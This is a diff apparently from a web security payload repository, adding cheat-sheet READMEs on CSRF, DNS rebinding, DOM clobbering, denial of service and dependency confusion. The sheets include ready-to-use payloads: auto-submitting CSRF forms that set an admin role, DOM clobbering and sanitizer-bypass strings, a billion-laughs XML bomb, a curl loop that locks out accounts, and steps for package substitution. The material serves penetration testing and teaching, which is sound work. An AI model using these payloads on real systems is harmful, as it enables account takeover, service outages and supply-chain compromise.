+
3
+ > Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
4
+
5
+
6
+ ## Summary
7
+
8
+ * [Tools](#tools)
9
+ * [Methodology](#methodology)
10
+ * [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
11
+ * [HTML GET - No User Interaction](#html-get---no-user-interaction)
12
+ * [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
13
+ * [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
14
+ * [HTML POST - multipart/form-data With File Upload - Requiring User Interaction](#html-post---multipartform-data-with-file-upload---requiring-user-interaction)
15
+ * [JSON GET - Simple Request](#json-get---simple-request)
16
+ * [JSON POST - Simple Request](#json-post---simple-request)
17
+ * [JSON POST - Complex Request](#json-post---complex-request)
18
+ * [Labs](#labs)
19
+ * [References](#references)
20
+
21
+
22
+ ## Tools
23
+
24
+ * [0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.
25
+
26
+
27
+ ## Methodology
28
+
29
+ ![CSRF_cheatsheet](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Cross-Site%20Request%20Forgery/Images/CSRF-CheatSheet.png)
30
+
31
+ When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
32
+
33
+
34
+ ### HTML GET - Requiring User Interaction
35
+
36
+ ```html
37
+ <a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
38
+ ```
39
+
40
+
41
+ ### HTML GET - No User Interaction
42
+
43
+ ```html
44
+ <img src="http://www.example.com/api/setusername?username=CSRFd">
45
+ ```
46
+
47
+
48
+ ### HTML POST - Requiring User Interaction
49
+
50
+ ```html
51
+ <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
52
+ <input name="username" type="hidden" value="CSRFd" />
53
+ <input type="submit" value="Submit Request" />
54
+ </form>
55
+ ```
56
+
57
+
58
+ ### HTML POST - AutoSubmit - No User Interaction
59
+
60
+ ```html
61
+ <form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
62
+ <input name="username" type="hidden" value="CSRFd" />
63
+ <input type="submit" value="Submit Request" />
64
+ </form>
65
+
66
+ <script>
67
+ document.getElementById("autosubmit").submit();
68
+ </script>
69
+ ```
70
+
71
+
72
+ ### HTML POST - multipart/form-data With File Upload - Requiring User Interaction
73
+
74
+ ```html
75
+ <script>
76
+ function launch(){
77
+ const dT = new DataTransfer();
78
+ const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
79
+ dT.items.add( file );
80
+ document.xss[0].files = dT.files;
81
+
82
+ document.xss.submit()
83
+ }
84
+ </script>
85
+
86
+ <form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
87
+ <input id="file" type="file" name="file"/>
88
+ <input type="submit" name="" value="" size="0" />
89
+ </form>
90
+ <button value="button" onclick="launch()">Submit Request</button>
91
+ ```
92
+
93
+
94
+ ### JSON GET - Simple Request
95
+
96
+ ```html
97
+ <script>
98
+ var xhr = new XMLHttpRequest();
99
+ xhr.open("GET", "http://www.example.com/api/currentuser");
100
+ xhr.send();
101
+ </script>
102
+ ```
103
+
104
+
105
+ ### JSON POST - Simple Request
106
+
107
+ With XHR :
108
+
109
+ ```html
110
+ <script>
111
+ var xhr = new XMLHttpRequest();
112
+ xhr.open("POST", "http://www.example.com/api/setrole");
113
+ //application/json is not allowed in a simple request. text/plain is the default
114
+ xhr.setRequestHeader("Content-Type", "text/plain");
115
+ //You will probably want to also try one or both of these
116
+ //xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
117
+ //xhr.setRequestHeader("Content-Type", "multipart/form-data");
118
+ xhr.send('{"role":admin}');
119
+ </script>
120
+ ```
121
+
122
+ With autosubmit send form, which bypasses certain browser protections such as the Standard option of [Enhanced Tracking Protection](https://support.mozilla.org/en-US/kb/enhanced-tracking-protection-firefox-desktop?as=u&utm_source=inproduct#w_standard-enhanced-tracking-protection) in Firefox browser :
123
+
124
+ ```html
125
+ <form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
126
+ // this input will send : {"role":admin,"other":"="}
127
+ <input type="hidden" name='{"role":admin, "other":"' value='"}' />
128
+ </form>
129
+ <script>
130
+ document.getElementById("CSRF_POC").submit();
131
+ </script>
132
+ ```
133
+
134
+ ### JSON POST - Complex Request
135
+
136
+ ```html
137
+ <script>
138
+ var xhr = new XMLHttpRequest();
139
+ xhr.open("POST", "http://www.example.com/api/setrole");
140
+ xhr.withCredentials = true;
141
+ xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
142
+ xhr.send('{"role":admin}');
143
+ </script>
144
+ ```
145
+
146
+
147
+ ## Labs
148
+
149
+ * [PortSwigger - CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)
150
+ * [PortSwigger - CSRF where token validation depends on request method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method)
151
+ * [PortSwigger - CSRF where token validation depends on token being present](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present)
152
+ * [PortSwigger - CSRF where token is not tied to user session](https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session)
153
+ * [PortSwigger - CSRF where token is tied to non-session cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie)
154
+ * [PortSwigger - CSRF where token is duplicated in cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie)
155
+ * [PortSwigger - CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present)
156
+ * [PortSwigger - CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/lab-referer-validation-broken)
157
+
158
+
159
+ ## References
160
+
161
+ - [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
162
+ - [Cross-Site Request Forgery (CSRF) - OWASP - Apr 19, 2024](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
163
+ - [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton - July 26, 2015](https://whitton.io/articles/messenger-site-wide-csrf/)
164
+ - [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial - 19 July 2016](https://web.archive.org/web/20170607102958/https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
165
+ - [Hacking PayPal Accounts with one click (Patched) - Yasser Ali - 2014/10/09](https://web.archive.org/web/20141203184956/http://yasserali.com/hacking-paypal-accounts-with-one-click/)
166
+ - [Add tweet to collection CSRF - Vijay Kumar (indoappsec) - November 21, 2015](https://hackerone.com/reports/100820)
167
+ - [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd - October 16, 2015](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
168
+ - [How I Hacked Your Beats Account? Apple Bug Bounty - @aaditya_purani - 2016/07/20](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
169
+ - [FORM POST JSON: JSON CSRF on POST Heartbeats API - Eugene Yakovchuk - July 2, 2017](https://hackerone.com/reports/245346)
170
+ - [Hacking Facebook accounts using CSRF in Oculus-Facebook integration - Josip Franjkovic - January 15th, 2018](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
171
+ - [Cross Site Request Forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
172
+ - [Cross-Site Request Forgery Attack - PwnFunction - 5 Apr. 2019](https://www.youtube.com/watch?v=eWEgUcHPle0)
173
+ - [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
174
+ - [Bypass Referer Check Logic for CSRF - hahwul - Oct 11, 2019](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)
payloads/DNS Rebinding/README.md ADDED
@@ -0,0 +1,101 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DNS Rebinding
2
+
3
+ > DNS rebinding changes the IP address of an attacker controlled machine name to the IP address of a target application, bypassing the [same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) and thus allowing the browser to make arbitrary requests to the target application and read their responses.
4
+
5
+ ## Summary
6
+
7
+ * [Tools](#tools)
8
+ * [Methodology](#methodology)
9
+ * [Protection Bypasses](#protection-bypasses)
10
+ * [0.0.0.0](#0000)
11
+ * [CNAME](#CNAME)
12
+ * [localhost](#localhost)
13
+ * [References](#references)
14
+
15
+
16
+ ## Tools
17
+
18
+ - [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
19
+ - [rebind.it](http://rebind.it/) - Singularity of Origin Web Client.
20
+ - [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service
21
+ - [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper
22
+
23
+
24
+ ## Methodology
25
+
26
+ **Setup Phase**:
27
+
28
+ * Register a malicious domain (e.g., `malicious.com`).
29
+ * Configure a custom DNS server capable of resolving `malicious.com` to different IP addresses.
30
+
31
+ **Initial Victim Interaction**:
32
+
33
+ * Create a webpage on `malicious.com` containing malicious JavaScript or another exploit mechanism.
34
+ * Entice the victim to visit the malicious webpage (e.g., via phishing, social engineering, or advertisements).
35
+
36
+ **Initial DNS Resolution**:
37
+
38
+ * When the victim's browser accesses `malicious.com`, it queries the attacker's DNS server for the IP address.
39
+ * The DNS server resolves `malicious.com` to an initial, legitimate-looking IP address (e.g., 203.0.113.1).
40
+
41
+ **Rebinding to Internal IP**:
42
+
43
+ * After the browser's initial request, the attacker's DNS server updates the resolution for `malicious.com` to a private or internal IP address (e.g., 192.168.1.1, corresponding to the victim’s router or other internal devices).
44
+
45
+ This is often achieved by setting a very short TTL (time-to-live) for the initial DNS response, forcing the browser to re-resolve the domain.
46
+
47
+ **Same-Origin Exploitation:**
48
+
49
+ The browser treats subsequent responses as coming from the same origin (`malicious.com`).
50
+
51
+ Malicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions.
52
+
53
+
54
+ **Example:**
55
+
56
+ 1. Register a domain.
57
+ 2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).
58
+ 3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs.
59
+ 4. Browse to "http://rebinder.your.domain:8080/autoattack.html".
60
+ 5. Wait for the attack to finish (it can take few seconds/minutes).
61
+
62
+
63
+ ## Protection Bypasses
64
+
65
+ > Most DNS protections are implemented in the form of blocking DNS responses containing unwanted IP addresses at the perimeter, when DNS responses enter the internal network. The most common form of protection is to block private IP addresses as defined in RFC 1918 (i.e. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges.
66
+
67
+ In the case where DNS protection are enabled (generally disabled by default), NCC Group has documented multiple [DNS protection bypasses](https://github.com/nccgroup/singularity/wiki/Protection-Bypasses) that can be used.
68
+
69
+ ### 0.0.0.0
70
+
71
+ We can use the IP address 0.0.0.0 to access the localhost (127.0.0.1) to bypass filters blocking DNS responses containing 127.0.0.1 or 127.0.0.0/8.
72
+
73
+ ### CNAME
74
+
75
+ We can use DNS CNAME records to bypass a DNS protection solution that blocks all internal IP addresses.
76
+ Since our response will only return a CNAME of an internal server,
77
+ the rule filtering internal IP addresses will not be applied.
78
+ Then, the local, internal DNS server will resolve the CNAME.
79
+
80
+ ```bash
81
+ $ dig cname.example.com +noall +answer
82
+ ; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
83
+ ;; global options: +cmd
84
+ cname.example.com. 381 IN CNAME target.local.
85
+ ```
86
+
87
+ ### localhost
88
+
89
+ We can use "localhost" as a DNS CNAME record to bypass filters blocking DNS responses containing 127.0.0.1.
90
+
91
+ ```bash
92
+ $ dig www.example.com +noall +answer
93
+ ; <<>> DiG 9.11.3-1ubuntu1.15-Ubuntu <<>> example.com +noall +answer
94
+ ;; global options: +cmd
95
+ localhost.example.com. 381 IN CNAME localhost.
96
+ ```
97
+
98
+
99
+ ## References
100
+
101
+ - [How Do DNS Rebinding Attacks Work? - nccgroup - Apr 9, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F)
payloads/DOM Clobbering/README.md ADDED
@@ -0,0 +1,141 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DOM Clobbering
2
+
3
+ > DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.
4
+
5
+ ## Summary
6
+
7
+ - [Tools](#tools)
8
+ - [Methodology](#methodology)
9
+ - [Lab](#lab)
10
+ - [References](#references)
11
+
12
+
13
+ ## Tools
14
+
15
+ - [SoheilKhodayari/DOMClobbering](https://domclob.xyz/domc_markups/list) - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers
16
+ - [yeswehack/Dom-Explorer](https://github.com/yeswehack/Dom-Explorer) - A web-based tool designed for testing various HTML parsers and sanitizers.
17
+ - [yeswehack/Dom-Explorer Live](https://yeswehack.github.io/Dom-Explorer/dom-explorer#eyJpbnB1dCI6IiIsInBpcGVsaW5lcyI6W3siaWQiOiJ0ZGpvZjYwNSIsIm5hbWUiOiJEb20gVHJlZSIsInBpcGVzIjpbeyJuYW1lIjoiRG9tUGFyc2VyIiwiaWQiOiJhYjU1anN2YyIsImhpZGUiOmZhbHNlLCJza2lwIjpmYWxzZSwib3B0cyI6eyJ0eXBlIjoidGV4dC9odG1sIiwic2VsZWN0b3IiOiJib2R5Iiwib3V0cHV0IjoiaW5uZXJIVE1MIiwiYWRkRG9jdHlwZSI6dHJ1ZX19XX1dfQ==) - Reveal how browsers parse HTML and find mutated XSS vulnerabilities
18
+
19
+
20
+ ## Methodology
21
+
22
+ Exploitation requires any kind of `HTML injection` in the page.
23
+
24
+ * Clobbering `x.y.value`
25
+ ```html
26
+ // Payload
27
+ <form id=x><output id=y>I've been clobbered</output>
28
+
29
+ // Sink
30
+ <script>alert(x.y.value);</script>
31
+ ```
32
+
33
+ * Clobbering `x.y` using ID and name attributes together to form a DOM collection
34
+ ```html
35
+ // Payload
36
+ <a id=x><a id=x name=y href="Clobbered">
37
+
38
+ // Sink
39
+ <script>alert(x.y)</script>
40
+ ```
41
+
42
+ * Clobbering `x.y.z` - 3 levels deep
43
+ ```html
44
+ // Payload
45
+ <form id=x name=y><input id=z></form>
46
+ <form id=x></form>
47
+
48
+ // Sink
49
+ <script>alert(x.y.z)</script>
50
+ ```
51
+
52
+ * Clobbering `a.b.c.d` - more than 3 levels
53
+ ```html
54
+ // Payload
55
+ <iframe name=a srcdoc="
56
+ <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
57
+ <style>@import '//portswigger.net';</style>
58
+
59
+ // Sink
60
+ <script>alert(a.b.c.d)</script>
61
+ ```
62
+
63
+ * Clobbering `forEach` (Chrome only)
64
+ ```html
65
+ // Payload
66
+ <form id=x>
67
+ <input id=y name=z>
68
+ <input id=y>
69
+ </form>
70
+
71
+ // Sink
72
+ <script>x.y.forEach(element=>alert(element))</script>
73
+ ```
74
+
75
+ * Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute
76
+ ```html
77
+ // Payloads
78
+ <html id="cdnDomain">clobbered</html>
79
+ <svg><body id=cdnDomain>clobbered</body></svg>
80
+
81
+
82
+ // Sink
83
+ <script>
84
+ alert(document.getElementById('cdnDomain').innerText);//clobbbered
85
+ </script>
86
+ ```
87
+
88
+ * Clobbering `x.username`
89
+ ```html
90
+ // Payload
91
+ <a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
92
+
93
+ // Sink
94
+ <script>
95
+ alert(x.username)//Clobbered-username
96
+ alert(x.password)//Clobbered-password
97
+ </script>
98
+ ```
99
+
100
+ * Clobbering (Firefox only)
101
+ ```html
102
+ // Payload
103
+ <base href=a:abc><a id=x href="Firefox<>">
104
+
105
+ // Sink
106
+ <script>
107
+ alert(x)//Firefox<>
108
+ </script>
109
+ ```
110
+
111
+ * Clobbering (Chrome only)
112
+ ```html
113
+ // Payload
114
+ <base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
115
+
116
+ // Sink
117
+ <script>
118
+ alert(x.xyz)//a://Clobbered<>
119
+ </script>
120
+ ```
121
+
122
+
123
+ ## Tricks
124
+
125
+ * DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`
126
+
127
+
128
+ ## Lab
129
+
130
+ - [PortSwigger - Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
131
+ - [PortSwigger - Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
132
+ - [PortSwigger - DOM clobbering test case protected by CSP](https://portswigger-labs.net/dom-invader/testcases/augmented-dom-script-dom-clobbering-csp/)
133
+
134
+
135
+ ## References
136
+
137
+ - [Bypassing CSP via DOM clobbering - Gareth Heyes - 05 June 2023](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
138
+ - [DOM Clobbering - HackTricks - January 27, 2023](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering)
139
+ - [DOM Clobbering - PortSwigger - September 25, 2020](https://portswigger.net/web-security/dom-based/dom-clobbering)
140
+ - [DOM Clobbering strikes back - Gareth Heyes - 06 February 2020](https://portswigger.net/research/dom-clobbering-strikes-back)
141
+ - [Hijacking service workers via DOM Clobbering - Gareth Heyes - 29 November 2022](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
payloads/Denial of Service/README.md ADDED
@@ -0,0 +1,97 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Denial of Service
2
+
3
+ > A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance. In a Distributed Denial of Service (DDoS), attackers use multiple sources (often compromised machines) to perform the attack simultaneously.
4
+
5
+
6
+ ## Summary
7
+
8
+ * [Methodology](#methodology)
9
+ * [Locking Customer Accounts](#locking-customer-accounts)
10
+ * [File Limits on FileSystem](#file-limits-on-filesystem)
11
+ * [Memory Exhaustion - Technology Related](#memory-exhaustion---technology-related)
12
+ * [References](#references)
13
+
14
+
15
+ ## Methodology
16
+
17
+ Here are some examples of Denial of Service (DoS) attacks. These examples should serve as a reference for understanding the concept, but any DoS testing should be conducted cautiously, as it can disrupt the target environment and potentially result in loss of access or exposure of sensitive data.
18
+
19
+
20
+ ### Locking Customer Accounts
21
+
22
+ Example of Denial of Service that can occur when testing customer accounts.
23
+ Be very careful as this is most likely **out-of-scope** and can have a high impact on the business.
24
+
25
+ * Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts.
26
+ ```ps1
27
+ for i in {1..100}; do curl -X POST -d "username=user&password=wrong" <target_login_url>; done
28
+ ```
29
+
30
+
31
+ ### File Limits on FileSystem
32
+
33
+ When a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: `No space left on device` when the limit is reached.
34
+
35
+ | Filesystem | Maximum Inodes |
36
+ | --- | --- |
37
+ | BTRFS | 2^64 (~18 quintillion) |
38
+ | EXT4 | ~4 billion |
39
+ | FAT32 | ~268 million files |
40
+ | NTFS | ~4.2 billion (MFT entries) |
41
+ | XFS | Dynamic (disk size) |
42
+ | ZFS | ~281 trillion |
43
+
44
+ An alternative of this technique would be to fill a file used by the application until it reaches the maximum size allowed by the filesystem, for example it can occur on a SQLite database or a log file.
45
+
46
+ FAT32 has a significant limitation of **4 GB**, which is why it's often replaced with exFAT or NTFS for larger files.
47
+
48
+ Modern filesystems like BTRFS, ZFS, and XFS support exabyte-scale files, well beyond current storage capacities, making them future-proof for large datasets.
49
+
50
+
51
+ ### Memory Exhaustion - Technology Related
52
+
53
+ Depending on the technology used by the website, an attacker may have the ability to trigger specific functions or paradigm that will consume a huge chunk of memory.
54
+
55
+ * **XML External Entity**: Billion laughs attack/XML bomb
56
+ ```xml
57
+ <?xml version="1.0"?>
58
+ <!DOCTYPE lolz [
59
+ <!ENTITY lol "lol">
60
+ <!ELEMENT lolz (#PCDATA)>
61
+ <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
62
+ <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
63
+ <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
64
+ <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
65
+ <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
66
+ <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
67
+ <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
68
+ <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
69
+ <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
70
+ ]>
71
+ <lolz>&lol9;</lolz>
72
+ ```
73
+ * **GraphQL**: Deeply-nested GraphQL queries.
74
+ ```ps1
75
+ query {
76
+ repository(owner:"rails", name:"rails") {
77
+ assignableUsers (first: 100) {
78
+ nodes {
79
+ repositories (first: 100) {
80
+ nodes {
81
+
82
+ }
83
+ }
84
+ }
85
+ }
86
+ }
87
+ }
88
+ ```
89
+ * **Image Resizing**: try to send invalid pictures with modified headers, e.g: abnormal size, big number of pixels.
90
+ * **SVG handling**: SVG file format is based on XML, try the billion laughs attack.
91
+ * **Regular Expression**: ReDoS
92
+
93
+
94
+ ## References
95
+
96
+ - [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://youtu.be/b7WlUofPJpU)
97
+ - [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)
payloads/Dependency Confusion/README.md ADDED
@@ -0,0 +1,42 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Dependency Confusion
2
+
3
+ > A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.
4
+
5
+ ## Summary
6
+
7
+ * [Tools](#tools)
8
+ * [Methodology](#methodology)
9
+ * [NPM Example](#npm-example)
10
+ * [References](#references)
11
+
12
+
13
+ ## Tools
14
+
15
+ * [visma-prodsec/confused](https://github.com/visma-prodsec/confused) - Tool to check for dependency confusion vulnerabilities in multiple package management systems
16
+ * [synacktiv/DepFuzzer](https://github.com/synacktiv/DepFuzzer) - Tool used to find dependency confusion or project where owner's email can be takeover.
17
+
18
+
19
+ ## Methodology
20
+
21
+ Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
22
+
23
+ * DockerHub: Dockerfile image
24
+ * JavaScript (npm): package.json
25
+ * MVN (maven): pom.xml
26
+ * PHP (composer): composer.json
27
+ * Python (pypi): requirements.txt
28
+
29
+ ### NPM Example
30
+
31
+ * List all the packages (ie: package.json, composer.json, ...)
32
+ * Find the package missing from https://www.npmjs.com/
33
+ * Register and create a **public** package with the same name
34
+ * Package example : https://github.com/0xsapra/dependency-confusion-expoit
35
+
36
+
37
+ ## References
38
+
39
+ - [Exploiting Dependency Confusion - Aman Sapra (0xsapra) - 2 Jul 2021](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
40
+ - [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
41
+ - [3 Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://web.archive.org/web/20210210121930/https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
42
+ - [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained - 22 févr. 2021](https://www.youtube.com/watch?v=zFHJwehpBrU)
payloads/Directory Traversal/Intruder/deep_traversal.txt ADDED
@@ -0,0 +1,887 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
